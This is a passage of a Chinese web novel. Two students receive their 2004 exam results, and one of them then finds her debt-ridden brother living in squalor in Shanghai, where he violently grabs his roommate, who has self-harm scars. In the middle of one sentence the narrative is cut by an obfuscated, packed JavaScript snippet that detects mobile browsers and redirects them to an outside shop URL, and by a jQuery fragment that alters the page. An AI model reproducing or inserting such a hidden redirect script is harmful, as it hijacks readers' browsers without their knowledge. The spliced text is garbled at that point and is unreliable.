杨老师今天明显累得够呛,他揉揉眉心,疲倦地摆摆手:“林羽翼,你先出去吧,我有事儿和师涟聊。这是你成绩条,你拿着看看,后面好好考虑填志愿的事儿。” …… 等林羽翼走出办公室,杨老师才把师涟的成绩条递给她,脸上漾出笑:“不错啊师涟,六百二十八分,发挥得很稳定。” “川内的学校,你完全可以去报川大医学院,省外的学校呢,除了清北那两所,大多数都能随着你挑,老师知道你心里有数,就不多说了。” “嗯,谢谢老师。”师涟的目光很淡,仿佛对自己的成绩没有任何意外,没有喜悦,也没有失落。 杨老师坐在椅子上,抬头看着她的脸,与她对视,诚恳地叹了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149139|135210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气:“师涟,这次高考的题很难,但尖子生依旧扎堆,你离清北还差个二三十分——看着远,但要是你肯拼一拼,其实也没想象中那么难,你要不要回去和你爸妈商量一下,咱们复读一年,考个清北?” “这些话我刚刚也打电话和你爸妈说了,他们呢,都说你有自己的主见,要尊重你的意见。嗨呀,我听着都觉得神奇,哪儿有父母不期望孩子考清北的呀?” 杨老师声音很慢,晓之以情动之以理,认认真真和师涟说:“老师知道你家的情况,你爸妈都不容易,你想想,你明年要是考个清北回去,他们这些年的苦也算吃得值了呀!到时候,他们得多高兴呀?” 但师涟只是沉默着,等杨老师把话说完。 “你要肯复读,学校这边的补助一样不会落下,考完还有奖金呢!” 杨老师苦口婆心说了很多,但他最后一句话音落下,得到的只是师涟轻飘飘的一句答复: “老师,并不是所有人都想考清北。” 师涟的声音很轻,像是在简简单单地说着“今早吃了什么”,丝毫没把考清北当做什么大事儿似的。可正因为如此,才显得她有多坚定。 她没有考清北的想法,没有就是没有,就像她早上不喜欢吃热豆浆,便不会刻意绕路去买一杯一样。 “你啊……!”杨老师捂着额头用力摇摇头,等几秒,又露出一个“果然如此”的无奈的笑,“算了算了,我早知道你是这样的性格,那我也不多劝了,反正……你回去和爸妈商量商量吧。” “嗯,我会的。”师涟点头。 杨老师看着她风轻云淡的模样,神色愈加无奈:“师涟,三年了,老师也和你说一些真心话。你知不知道?别的班主任可羡慕我们班有你这样的学生,大家都说你又乖又懂事,学习那叫一个努力。” “只有我不这么觉得,师涟,我次次都跟那些老师说——” “师涟这孩子,只是看着努力,其实压根没有用过劲儿。她啊,就是太早熟太懂事,看得太透了,所以才不肯拼命努力。等什么时候她能遇到一件看不透的事儿,才是她真正努力的时候。” 杨老师模仿着那时的语气,笑着摇摇头。 师涟眼皮轻跳一下,唇角同样微微向上翘起一丝,没有否认,但也没有承认。 杨老师继续说:“师涟,你不想考清北,不是因为你考不上,而是你觉得现在这样就很不错了,能读别的顶尖985大学,能拿奖学金,干嘛还要多浪费一年时间呢?是吧?” 这回,师涟默不作声地点了头,幅度微不可见。 杨老师拍拍脑袋,看向办公室门口的方向:“至于林羽翼呢?” “林羽翼和你恰恰相反,她不够成熟,她太浮躁了,她啊,就是个浮躁的小孩子。从高一到高三,她一直没变过。” “我知道,高三那些事儿不能怪她,我看着她那样子,唉,我这个做老师的也心疼啊!但她啊,如果她长大还这样,一直这么浮躁下去,以后会受苦的。” 师涟垂眸,脸上的笑意淡去,垂在身侧的手指轻轻蜷了蜷: “老师,她这一年已经很苦了。” …… 林羽翼不知道杨老师和师涟说了些什么,她也不想问。 她一个人安安静静地蹲在办公室外,看着走廊外晴朗的天空,心里一点一点被沉闷的情绪填满。 未来该怎么办?她想成为什么样的人?她想要过什么样的生活? 这几个问题,她想过无数次,可直到现在也想不明白。 林羽翼苦闷地摇摇头。 她撑着下巴,努力抑制住眼里酸涩的感觉,在心里安慰自己: 年级六七十名也不算太差——她高一时还是倒数呢!进步了几百名,她该知足了不是吗?今年考题比较难,她的分数看着低,但省内排名应该不会太低,读不了985大学,好歹能读个211!哈,她可是村里唯一一个考上重本,考上211的大学生呢,还有什么不满足的呢? 有。 她不能和师涟一个学校了。 可是这也是她早就做好准备的、必然的结局了,不是吗?她很早就预料到这一天的来临,现在她要做的,只是平静地、努力地,去接受这个结果。 林羽翼按照杨老师的建议报了志愿。 第一志愿填的川大,接受调剂。第二志愿填的外省一所985农大,接受调剂,听说这所学校时不时会有大冷门的情况,林羽翼运气好说不定能读上。第三志愿才是川城农大。 一二志愿林羽翼随手选的专业,反正接受调剂,专业也就无所谓了。但第三志愿,林羽翼认真选了很久,最后,她将动物医学作为第一选择。 尽管她知道,哥哥以后不会再开养殖场了,哥哥会不会回来都不一定,但她潜意识里,一直对哥哥的事儿耿耿于怀。 总觉得,如果当时她能帮上一点儿忙,如果哥哥当时告诉了她养鸭场的事儿,一切会不会就不一样。 ……谁知道呢。 2004年,七月底。 师涟收到了川城大学的录取通知书。 第二天,林羽翼收到川城农大的录取通知书,没有被调剂,是她选的动物医学专业。 同一天,隔壁王三叔家的座机电话,接到了一通来自外地的陌生电话。 时隔一年,失踪一年,王登高打来了第一通电话。 36.第22章 林羽翼拿到录取通知书时,心里没什么特别的感觉,甚至还松了口气。 她对第一志愿川大本就不抱期望,至于第二志愿,那所位于西北方的985农业大学,林羽翼甚至有些轻微的抵触,她不想离蜀都太远,不想离川城太远,不想……离唯一的挚友太远。尽管林羽翼在川城内也没有什么至亲,可潜意识里总觉得,一个人孤零零在外闯荡,是一件非常悲惨的事情。 川城农大,就在蜀都南边百公里以外的山里,坐车几个小时就能回蜀都,挺好的。 林羽翼抱着录取通知书,理清了心底沉沉浮浮的思绪,思考着要不要去和孙阿姨打个电话。 昨天,师涟收到川大的录取书后,孙阿姨特地打电话给林羽翼,说等到她也拿到录取通知书,大家一起去吃饭庆祝庆祝。 高三这一年里,不止是师涟,孙阿姨和师叔叔对林羽翼同样非常照顾。 师涟答应了林羽翼不把王登高欠债的事儿告诉爸妈,可是又哪儿瞒得住呢? 新村就那么小哥地方,乡里乡亲间到处传话,那点儿八卦,不一会儿就传遍了附近几个村,孙阿姨怎么会不知道呢? 只是孙阿姨心疼林羽翼这个小孩,从来没点明过,只是暗暗照顾着林羽翼,在生活里各方各面,把她当自家闺女一般好。邀她到家里住,躲着那些追债人,带她回村里老家过年,怕她一个人无聊。 可师涟一家对她越好,林羽翼便越觉得愧疚,总觉得自己对不上这份好。高考结束后,她便找借口回了自己家—— “都一年了,那些讨债的不会再来啦。” “阿姨你别担心,我养条狗就行了,养大狼狗!可凶了!等我上大学,就把狗交给隔壁叔叔婶子照看。” 一个人回到阔别已久的破旧堂屋里,林羽翼心里空落落的,可又有种如释重负的轻快感。 她总觉得欠着师涟一家,就和她这一年替哥哥欠着那些人钱一样,压得她肩膀沉甸甸的。现在终于不用再继续欠着,可以慢慢还了。 林羽翼抱着录取通知书发呆许久,正犹豫着要不要给孙阿姨回电话,院子外忽然传来三婶儿焦急的喊声: “林小鸟!快来!” 三婶儿扯着嗓子,声音很急,又带着惊喜。 “你哥!你哥来电话了!你快来啊!” 什么——! 林羽翼眼睛猛地瞪大,不敢相信自己听到的,可她的身体已经第一时间奔出小院,奔到三婶儿家堂屋里,双手颤抖地拿起话筒。 她跑得很快,呼吸很急,在听筒里,她清晰听见自己呼吸的回声。 电话那头没有人说话,但并不算很安静,能听到些许嘈杂吆喝的人声,是普通话,夹杂着一点儿当地方言,和川城话不一样,林羽翼不太听得懂。 林羽翼也没说话,一时间,电话两边只听得见她急切的一呼一吸声。 林羽翼感觉自己脑子很乱,很多话想说,可是又说不出口,不敢相信哥哥就这么忽然出现了。这一年里,她不知道试着联系过他多少次,可都没有得到回音,她以为他再也不会搭理她了。 林羽翼闭上眼,感受着手臂、手掌、乃至手指都在颤抖。 许久。 终于,林羽翼的呼吸平静下来,电话另一头响起一声很沉、很哑的男声:“小鸟,高考过去这么久了,考得……还好吗?录取通知书收到了吗?” 比起以前,王登高的声音要低不少,嗓子像是受伤了一样,每说一个字,声带都剧烈地颤抖,仿若嗡嗡嗡的蒸汽火车引擎。 林羽翼听着只觉得陌生,她握着话筒的手越来越紧,眼眶一下子红了,浸着泪。 她没有回答王登高的问题,而是哭喊着反问:“哥,你这一年去哪儿了!为什么不搭理我?你到底怎么了!你好歹和我说说啊!” 林羽翼说到后面,声音越来越急,几乎是吼出声的。但她的怒吼换来的,只是王登高久久的一阵沉默。 王登高不说话,林羽翼回想着这一年里自己遇到的那些事—— 省吃俭用替哥哥还钱也好,被一个个债主找上门也好,每晚头疼得睡不着也好,终日被惶惶的恐惧感包围的感觉也好,隔三差五到河边枯坐幻想着哥哥有朝一日会回来也好,一件一件,从她脑海里闪过。 不知不觉,她已泪流满面。 “王登高,你别以为你不说,我就不知道了!你自己偷偷开养鸭场,结果河水被污染,你欠了大把钱,你没想着还钱,就这样跑了!” 林羽翼隐约听见,王登高那头传来“咯噔”一声。但她看不见,她不知道,这时电话那头的王登高,拳头无力地砸在木桌上,原本高大的腰背勾勒着,目光浑然无神,像只落魄的流浪狗。 “王登高,你自己说是不是!”林羽翼抹着泪,“你难道还想躲,还想不承认?” “……”一阵震颤的呼吸声后,王登高哑着声音说,“我都是为了你好。” “哈?你躲得天高皇帝远,自己啥事儿都不管,你觉得是为了我好?”林羽翼被气得直笑,眼里哗哗往下掉,“你要真为了我好,你就别躲啊!你躲走了,那些讨债的全部找上了我!我一个人,这一年连家都不敢回,奖学金、生活费,我都不敢用,全拿去帮你还钱,可我还不够啊!” “总是有人源源不断地找上来,你欠的越来越多,你……!你倒是和我说一说啊,你说说你一共欠了多少,你回来我们一起还啊!我长大了,我能工作,我能赚钱了,又不需要你一个人扛着,你躲什么!” “……林羽翼。”王登高似乎把话筒拿远了些,声音变得遥远,听不出任何情绪,“我今天打电话过来,就是想和你说这事儿的。” 他语气越来越淡:“你要上大学了吧?正好,到时候你把户口迁走,迁到你学校那边去。我们俩不同姓,户口一迁,你就和我没关系了,讨债的人再也讨不到你那儿去。” 林羽翼眼睛骤然瞪大,眼白渗起血丝,她怎么也没想到,一年没有联系,自己的声嘶力竭,得到的竟是这么一句话。 把户口迁出去……? 以后再没关系? 王登高他怎么说得出口! “王登高,你要和我断绝关系?”林羽翼怔然地问。 许久,她听到王登高低哑的回复:“嗯,断了吧。你户口划去学校那边,应该会变成城镇户口,村里的房子和地没法跟你划过去,不过没关系,你放心,我不回来住,不会和你抢。” “王登高,你***!”林羽翼急得骂出脏话,可电话那头,王登高始终没有任何情绪起伏,他自顾自地说完,语气甚至还带了些许笑意: “我听说了,你高考高出重本线二十多分,今年高考题难,你很不错。大学好好读,以后找个好工作,自己好好过日子。去城里,当体面人,挺好。” 说完,王登高竟然就这么挂掉电话,一点儿不给林羽翼反应的机会。 林羽翼急得迅速拨号回去,然而迎接她的,已经是一阵忙音。 拨不通了。 话筒从手里滑落,林羽翼怔然站在电话边,眼泪大滴大滴往下落。 “哎呀哎呀,小鸟,哭什么呀!”三婶儿从楼梯里跑上来,一把抱住林羽翼,轻轻安抚,“你哥他不是东西!婶子知道,我都知道,你别因为他把自己哭伤了呀!” 林羽翼怔怔地闭上眼,没有说话,眼泪怎么都止不住。 刚才听到哥哥打电话来时,她脑袋乱糟糟的,却也想过很多种可能,哥哥挣了钱要回蜀都了,哥哥不打算再逃避了,她怎么也想不到,他是来和她断绝关系的。 林羽翼感觉脑袋像一团拧巴的毛线团一样,扯不清楚,疼得厉害,连带着耳膜处都泛起一阵撕扯的疼,听不清三婶儿在说些什么。 可是疼过了,林羽翼再回想起哥哥的话,脑子里骤然闪过什么,一下子变得清醒。 她猛地睁眼,用力看向三婶: “三婶儿,我哥他之前……他、他是不是联系过你们?” 不然,他怎么会知道她的高考成绩! 三婶的目光躲了躲,可终究躲不过林羽翼泛着红、却又无比倔强的眼神,她叹口气:“……其实早半年,你哥就有消息了。” “三婶,我哥他在哪儿!”林羽翼立马抓住三婶儿的手,握得很紧。 “……在沪城。”三婶儿轻叹着说,“你记得隔壁村的陆仁会吗?算是你远房表哥。他一直在沪城做活路,后来遇见你哥,都是同乡人,他还给你哥介绍了活路呢。” 看见林羽翼急切的目光,三婶儿急忙道:“小鸟,我们也不是故意瞒着你,你想想,你今年高三,最重要的一年,谁敢告诉你这事儿啊!你可是我们村儿成绩最好的小孩,考上重本了呢!我们要是影响到你考试,谁担得起这个责任?” “你也别觉得你哥瞒你,他再怎么混蛋,也是你亲哥,他也一心盼着你好。” “盼着我好,所以就失踪吗?”林羽翼沙哑抹着泪,吼道。 “他是做得不对,他混蛋,可是他……能有什么办法呢?”三婶儿无奈地叹气,“遇上这种事儿,谁也没办法啊!只能认命。” 认命? 什么是认命?什么又是命? 林羽翼握紧了手指,泪水混着汗水,死死腻在指缝间。 她用力说:“三婶儿,你们知道我哥住哪儿对不对?告诉我好吗?我要去找他。” “去找他!”三婶儿惊呼,“你一个人跑那么远呢!” “三婶儿,我又不是小孩子了,我成年了,考上大学了。”林羽翼声音不重,却有种声嘶力竭的气势。 “你……可是你去找他又有什么用呢?”三婶儿叹气。 “我不知道。”林羽翼摇头,“我就是想去见见他,三婶儿,从他失踪到现在,他想一切消息都是别人告诉我的,欠钱、跑路、鸭场破产,都是别人告诉我的,他什么都没和我说,我什么都不知道,不管怎么样,我想听他亲口告诉我这些事,听他亲口说清楚,这一切到底是怎么回事儿!” 三婶低着头,犹豫许久,在林羽翼的一遍遍恳求下,她终于松口:“行,你去一趟沪城,你们兄妹见见面也好。我把你陆哥哥的电话号码给你,你自己去问他。” “谢谢三婶儿!”林羽翼眼睛里瞬间有了光。 “你……”林羽翼离开前,三婶竟然又叫住她,“你路费够吗?” “凑一凑应该够。”林羽翼声音很小。 这一年她其实没什么开支,省吃俭用一整年,却没存下什么钱,哥哥雷打不动汇来的生活费,学校里每月的奖学金,一年下来加起来接近一万元,都被她拿去还债了,可哥哥的欠款就像无底洞一样,她越还,反而越多,林羽翼只能更省,如果不是师涟家一直照拂着她,她就要落魄到啃馒头喝白粥的程度了。 林羽翼身上一分钱存款都不剩,就连大学学费,都只能靠助学贷款付清——到时候又得欠银行一笔钱,唉。 “你啊!”三婶儿哪儿看不出林羽翼的窘迫?她拍拍林羽翼脑袋,转身去拿钱,“这笔路费你拿着,以后让你哥还,你自己别管,就当是你考上一本,我们给你包的红包。” 林羽翼想要拒绝,可是捏着厚厚的红包,她喉咙紧了又紧,实在说不出拒绝的话。她知道自己小时候家里就很穷,可她真正对钱有了切实的概念,是在今年。 “……谢谢三婶。”林羽翼哽咽着说。 回到家里,躺在木板床上,林羽翼把红包放在心口,思绪复杂地转动。 她对村里人的感情很复杂。 说他们好吧,他们嘴碎得很,背后不知道嚼了多少次舌根,在林羽翼小时候,说林羽翼不是王家人,甚至说她不是王大元亲生的,现在王登高欠了债,他们也一个劲儿到处说,就连邻村都知道了王登高欠债跑路的事儿。 说他们不好吧,他们又的确关心照顾着林羽翼,这半年里为了林羽翼的高考,还真就把王登高的消息给瞒了下来,就算别的可以作假,红包里厚实的金钱可做不了假。 ……真是,难以理解。 …… 盛夏八月,气温很高,地火无声地冒着热气,灼烧着广阔地面上的一切。而 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沪城的阳光比蜀都还要炽热,这是林羽翼对沪城的第一印象。 她抹把汗,有些紧张地抱紧背包,把火车票和身份证紧紧撰在手里,被人群推搡着往前走。 人,人,人。火车站里人潮拥挤,出了站,依旧没有能够停下的地方,只能不断随着人群往前走。可是很神奇的是,那些背着大包小包的小贩,竟然能精准穿越进拥挤人群,热切地跟在游客面前推销,真是厉害。 好多人啊。这是林羽翼对沪城的第二印象。 其余好像也和蜀都差不太多,乱糟糟的火车站,四处乱停的黑车。哦,不,还有听不懂的吴侬软语。 陌生的环境、陌生的人群,林羽翼有些紧张,一直被推搡着远离火车站,走到同样人潮拥挤的大街上,她才终于停下脚步,仰头观察着四周。 车站已经离她有一段距离,人群如蚂蚁般忙碌地进进出出,却始终填不满这个屹立在宽阔地面上的庞然大物。 往另一边看,街道很宽,人行道上,穿着各色各样时髦服饰的人群来来往往,车行道上,各类汽车如水流般川流着,林羽翼不认识别的车,她只认识张潇扬家的车标,仅仅几眼,她便在马路上看到好几辆那样的车标。 一辆辆电瓶车灵活穿梭在车流间, 再往远看,就什么也看不见了,视线被一栋栋正在修建的高楼挡住,只能努力地抬头往天上看,去看那一隅蓝天。 按照陆表哥给的指示,林羽翼很快找到车站旁的公交站点,她抬头望着公交牌,反复确认好几次自己没看错方向后,才放心地蹲在站牌下休息。 她没有蹲多久就站了起来,因为她发现,除了她,这里好像没有人蹲在路边休息。 其实坐地铁会更快一点,但她没坐过地铁,或者说,压根没听说过地铁是什么东西。陆表哥怕她迷路,便建议她坐公交,她也是这么想的。 林羽翼不记得自己是怎样坐上公交车,有没有座位,更不记得一路上窗外的风景如何,越是靠近陆表哥给她的地址,她便越是紧张,脑子里什么都想不了,什么都装不下。 终于下了车。 公交车停在宽广的大马路边,左侧是一栋栋泛着金属光泽的漂亮高楼,铝合金的外立面,在阳光下泛着刺目的光,一栋一栋,重重叠叠,看不到尽头。 可是林羽翼的目的地不在那里,而在另一边—— 华贵高楼的脚下,是一片低矮破旧的棚户房,密密麻麻,望不到尽头。 一街之隔,却好像隔了一个世界。 林羽翼加快脚步,走进荒乱幽深的小巷里,反倒没那么紧张了,这里让她想起广都的老街。当然,在广都老街上抬头看,是看不到什么高楼的。 左拐,右拐,再左拐,再右拐。林羽翼艰难辨认着屋檐下被岁月侵蚀的路牌,看不清的时候就问路——尽管这里人说话也很难听懂就是了。 晃悠不知道多久,林羽翼终于抵达目的地。 一栋两层小楼的第三楼—— 屋主额外搭出的顶棚。 楼下有个四五十岁的老头在抽烟,尽管四五十岁离“老头”这个称呼还很远,可他看起来的确太老了,花白的头发,树皮般的皮肤,浑浊的眼睛,佝偻的身躯和微微颤抖的手。 “你找谁?”看见林羽翼靠近,老头瞥一眼这个明显不属于城中村、满脸生涩的小姑娘,扯着嘶哑的嗓子问。 “我哥。”林羽翼怯怯的,“王登高。有人说他住这里。” “你亲哥啊?”老头诧异问。 “啊?”林羽翼点头,“嗯,亲哥。” “他居然还有妹妹?”老头不明所以地嗤笑一声,吐着烟雾,起身晃悠悠地提林羽翼拉开楼下的槅门,“你上楼去吧,他在家。” 老人脸上似笑非笑的奇怪表情,让林羽翼有些不安,她呼口气,抱着背包,小心地迈上楼梯。 刚到楼上,林羽翼便闻到一股刺鼻的味道,分辨不出具体是什么味儿,像腐臭,像霉臭,又像是许久没洗澡的人类身体的诡异发酵味儿,总之,比火车上的味道还难闻许多,这股味道飘进林羽翼鼻子里,直往她的肺里钻,熏得她差点弯腰呕吐。 越往前走,这股味道便越浓,最终,林羽翼停在气味的来源处,一扇锈蚀破旧的大铁门外。 是这里了。 林羽翼停在铁门口,抬头打量着这扇没有猫眼的破旧大门,看着上面斑驳的锈迹,狗皮膏药般的泛黄广告,心里情绪起起伏伏。 听不见什么声音,不知道是因为屋里人很安静,还是因为铁门隔音效果很好的缘故。虽然,这扇门一看就不隔音。 她想要深呼吸,只可惜周围浓郁的臭味并不允许她这么做。 于是,林羽翼直接敲响了房门。 敲得很用力。 大铁门被敲出剧烈的咚咚声。 林羽翼这时才发现,看似摇摇欲坠的旧铁门,竟然如此牢固,她敲得如此用力,铁门却连一丝颤抖都没有,只有咚咚咚的闷响。 37.第23章 咚、咚、咚。 敲门声如闷响的雷,轰然在楼道里炸开,一声一声,伴随着回响。林羽翼没有说话,只是闷声地敲着门。 不知敲了多久,铁门里终于有了动静。 “谁——?”一道极其嘶哑不耐烦的男声响起,随即,铁门被重重地从里面打开,伴随着“刺啦”一声刺耳的巨响。 门里的男人穿着一件脏兮兮的无袖汗衫,下身是宽松的破短裤,小麦色的皮肤在阴暗光影下显得黑黢黢,有点像流浪汉。男人脊背微微佝偻,邋遢地半靠着墙壁,没站直,一点儿精神气儿都没,可就算这样,他的身姿依旧显得高大,甚至威猛。 “哥……”林羽翼颤抖地出声。 一年没见,哥哥似乎一点儿没变,又似乎变了好多。 没变的是外貌和身姿,变了的是……林羽翼也说不清究竟哪儿变了,但以前的哥哥,绝不会像个邋遢落魄的流浪汉一样。 凶恶的目光落在林羽翼脸上的那一下,王登高表情倏地凝固了,原本凶神恶煞的目光被错愕甚至惊惶取代,但很快,他眼中的种种情绪都淡去,似乎只是惊讶了那么一下下,他的眼中只剩下毫不在乎的麻木。 王登高不做痕迹地后退一步,和林羽翼拉出一段距离,沉默几秒,他淡淡笑着开口,露出一口反差极大的白牙: “都是大学生了,还来找我干嘛?” “王登高!你说呢!” 王登高语气平淡,林羽翼却再也抑制不住惊涛骇浪般在心底翻涌的情绪,那些情绪一瞬之间奔涌而出,她怒吼道:“你说我为什么来找你——!” 林羽翼向前一步,眼睛通红,死死瞪着王登高,想要从他眼底读出哪怕一丝的情绪。 可是没有。 他只是微微垂眸,困倦打个哈欠,就这么了无痕迹地移开目光,丝毫不打算回应她的愤怒。 林羽翼抬手想要一巴掌狠狠扇在王登高脸上,手在空中僵住,最后无力地落下。不是她舍不得打王登高,而是她知道,自己的这点儿力气,打在王登高脸上就跟挠痒痒似的,反而把自个儿的手打得生疼,没那必要。 她沉默着,用力呼着气,死死盯着王登高的脸。 王登高依旧没有看她,一手撑着墙,一手在裤兜里摸索,似乎是想摸出一支烟来,但破烂的短裤兜里什么都没有。 “谁呢?” 打破僵持的是一道懒散的女声,声音调子脱得很长,带着从嗓子眼儿里挤出来的嘶哑,和王登高说话的调调一模一样。 林羽翼往王登高身后看去。 狭窄的棚屋里只有一张脏兮兮的木床,床脚堆满了衣物,还有不少散落在地上,和垃圾混在一起。 一个和王登高一模一样的女人躺在床上,艰难撑起身。这里说她和王登高一模一样,不是指长相,事实上,女人五官并不难看,甚至显得有点明艳,这里指的是另一个方面,林羽翼说不清道不明的方面: 脏兮兮的短衬衫,披散发油的头发,手臂上一道道细长的骇人疤痕,还有那麻木没有光的眼神。如果说王登高像是个男流浪汉,那她就像女流浪汉。 女人的目光在空中与林羽翼相对,她微微虚起眼,似乎在仔细打量她,好几秒后,她睁眼,脸上勾起一丝笑:“哟,王登高,去哪儿找的新女朋友?还挺漂亮。” “别乱说。”王登高骤然转身,语气凶狠,下一秒,又恢复淡漠,“我妹,亲妹。” “哎呀,原来这样啊,亲妹妹来了,你不好好招待一下?”女人笑眯眯地从床上坐起身,朝林羽翼招手,“进来坐呗,小妹妹你好,我姓王,是你哥室友,你叫我王姐姐就好。” 王登高自顾自地到一旁,弯腰拿起沾满污渍的水壶倒水,没有说话。 林羽翼迟疑片刻,往前走进屋里,又停住了。不是她不想进屋,而是屋里实在太逼仄,衣服和各种杂物、垃圾落了满地,尤其是空荡荡的酒瓶,落得到处都是,她实在没地方落脚。 “小妹妹,没关系,你随便踩,踩衣服上也没关系,我们都是这样啊。”女人打着哈欠,浑不在意道。 林羽翼无声叹口气,蹲下身子,拾起散落的散发着酸臭味的衣服,挨个把面前的酒瓶扶起来,在墙边摆好。她一边摆,一边问:“室友?” “不然呢?”女人笑着反问,“你觉得我们是什么关系?你看我们这样,还像是男女朋友不成?” “……”林羽翼不知道该怎么回答。 她承认,无论是棚屋里的环境,还是王登高和女人流浪汉似的精神状态,都不像是能正常谈对象的样子。 反正在她的记忆中,哥哥和小刘姐姐谈对象时,绝对不是这样的。 但同时,林羽翼惊奇地发现,屋子里反而没有屋外那么臭得刺鼻,只是有种浓郁的、难以言说的黏腻气味。 林羽翼把手臂能够触及到的地面清理出一片空后,起身往前走了几步,再次看向王登高,她的声音不再颤抖,心平气和地说: “哥,你知道我来找你干嘛。跟我回蜀都,我们一起还钱,我现在读大学了——农业大学,我能赚钱,能帮你还,你没必要一个人躲在外面。” 王登高背对着林羽翼,站在棚屋的另一侧角落,棚屋搭建的时候,这里漏了风,像是个小窗口。王登高看着“窗外”的世界,吹着风,仿佛完全没听到林羽翼的话。 “哥!”林羽翼声音重了些。 “你哥他就这样,他不想听的话,权当没听见。”女人见怪不怪,无聊地摆摆手,“来,坐我这儿,他不跟你说话,我跟你说,你想听他的什么糗事儿?我说不定都知道呢。” “你闭嘴。”王登高没有回头,只淡淡抛出这三个字。 女人丝毫没有闭嘴的意思,笑盈盈对林羽翼说:“指望你哥还钱?还是算了吧,你看他这个样儿,是能打工的样子?他就是个彻头彻尾的废物,能养活自己就不错——” 话还没说完,便被一声怒吼打断。 “我说了,你闭嘴!” 王登高毫无征兆地转身,如一头暴怒的雄狮般,猛地扑向女人的方向,一把捏在她的下颌两边,一下子,把她掐得说不出话,只有喉咙里发出艰难痛苦的呻吟。 他掐得很用力,林羽翼几乎能看到女人脸颊微微变形。可是女人脸上竟然努力勾起笑,她盯着王登高,眼中笑意灿烂疯狂。 男人愤怒的粗吼声、女人痛苦的呼吸声,和木板不堪重负吱嘎的响声。 林羽翼看着这一幕,本能地后退一小步,她觉得自己好像、好像看到了…… 两个堕入深渊的魔鬼。 下一秒,林羽翼回过神来,大步奔到王登高身后,用力拉扯他:“王登高!你干什么!你疯了!” 林羽翼扯不动。 是王登高自己松了手。 他颤抖着佝偻的脊背,一声不吭地回到窗边。 “咳、咳咳……”女人艰难地咳嗽一阵,终于缓过来一些,表情竟然有点可惜,她看向林羽翼,笑着说,“看吧,我没说错吧,你哥就是个废物,疯子。” 王登高没再吭声。 林羽翼怔怔地,她被刚才那一幕吓到了,她从来没敢想过,刚才那个躁狂野兽般的男人,竟然会是她的亲哥,王登高。 林羽翼终于知道王登高哪儿变了,变的不是外貌,是内心,是灵魂。他好像不再拥有人类的灵魂,而是堕入深渊,变成一只浑噩暴躁的野兽。 野兽的魂,披着人类的躯壳,那是魔鬼。 同时,林羽翼心底骤然明悟,王登高不会回蜀都了。他能回去干嘛?他现在这样,回了蜀都,反而更是祸害。林羽翼制不住他,制不住他这个魔鬼。 心里一下子被惶然的情绪填满,林羽翼承认,她自己虽然口口声声说着,她来沪城只是为了见哥哥一面,只是为了从他嘴里知道欠债的经过,可事实上,她从始至终,都怀揣着把王登高带回蜀都的痴心妄想。 这下,她的妄想彻底破灭。 她不知道该怎么办了。 林羽翼自己都没察觉到,她惶惶地站在那儿,一点儿声音都没发出,眼泪却一滴一滴大颗地往下掉着。 女人的语气一下变得慌乱:“诶小妹妹你别哭呀!你哥他这人,他一直都这么神经病!我都没哭,你哭什么?” 女人从床上起身,手忙脚乱地找纸巾,找了好半天,终于从床底下翻出一叠没开封的手巾纸,她拿出一张纸,往林羽翼手里递,林羽翼不接,只倔强地盯着王登高的背影,她只得去扯王登高的衣摆,把纸巾塞给王登高: “你哄哄你妹妹呀!” “哪儿有你这么当哥哥的!欠钱躲债就躲吧,人家小姑娘千里迢迢跑来找你,你还真不理人呀?” 不知是不是女人的话起了作用,王登高竟然真就捏着纸巾,慢慢转过身,一步一步走到林羽翼身前。房间很小,短短两三步路,却被他走出了漫漫一年的感觉。 王登高低头看着林羽翼,木然的眼眸里终于浮起一丝浅浅的情绪,那丝情绪很浅、很淡、很不易察觉,但林羽翼却捕捉到了。 因为这是……贯穿她整个童年时期,名为温柔的情绪。 是父亲,是哥哥每次看向她时,目光中都会含有的情绪。 王登高抬手,想给林羽翼擦泪,可他又怕自己的手弄脏她的脸,手指在半空缩回,最终只是把纸巾递到了她的手里。 王登高轻声说:“小鸟,回去吧,好好读大学,好好工作,以后就当没我这个哥哥。这一年是哥哥做得不对,所以以后,哥哥也不会再拖累你。” “我……”林羽翼仰着头,倔强哽咽,“我不回去。” 王登高无奈地轻叹一口气:“火车票买了吗?我送你去买票站,今晚就回去。” “嗐,你这人!”旁边的女人摇摇头,用力撞开王登高,自个儿杵在林羽翼面前,“自家妹妹刚刚高考完,千里迢迢来一趟沪城,还没好好玩儿呢,你就急着赶人走?你这东道主做得也太不合格了吧!” 林羽翼没搭话,她清晰地看见,女人下颌两边的红痕还很明显,有些可怖。 女人丝毫没在意,仿佛刚才什么都没发生一般,自顾自笑着揽住林羽翼肩膀:“小妹妹,你哥不带你去玩,我带你玩儿呀。我告诉你,沪城可好玩儿了!东方明珠电视塔,外滩老洋房,黄浦江对面的浦东新区,哎呀,可好看可气派了! 你来都来了,不去逛逛才是真可惜,走,我们一块儿好好玩几天!” …… 女人带林羽翼走遍了沪城的大街小巷。 从破破烂烂的棚屋区出发,穿过成规模的老小区——小区里没有什么植物,每栋单元楼都是一模一样的绿色大门,深沉的绿漆显得沉稳阔派。 “这里比棚屋好吧?”女人点着一支烟,漫不经心地问林羽翼。 “嗯。”林羽翼认真点点头,她不习惯烟味,和女人隔了一小段距离。从满地垃圾的破旧棚屋来到这里,就好像从原始社会突然走进了新的文明世界。 或者说,破旧脏乱的棚屋,还有里面住着的那些人,比如像流浪汉一样的王登高和王心宜,就像是文明世界里被遗忘的一隅黑暗。 ——在沪城乱逛的这两天里,林羽翼了解到,女人叫王心宜。 王心宜吐口烟圈,面无表情地抬头看着这一栋栋楼房,淡淡说道:“如果不是没钱,我也想住这儿,谁想跟你哥挤那破屋子呢?” 林羽翼的目光没有落在周围的楼房上,她在看王心宜的手臂。 和王登高小麦般的肤色不同,王心宜的皮肤很白,接近惨白,但她的皮肤并不细嫩,裸露在炎炎夏日空气中的手臂上,密密麻麻亘着数不清的长条型疤痕,旧伤已经脱落成细密的深色印记,但新伤才将将愈合,显得有些可怖。 除了手臂,林羽翼昨晚洗漱时注意到,她身上其他地方似乎也有青紫。 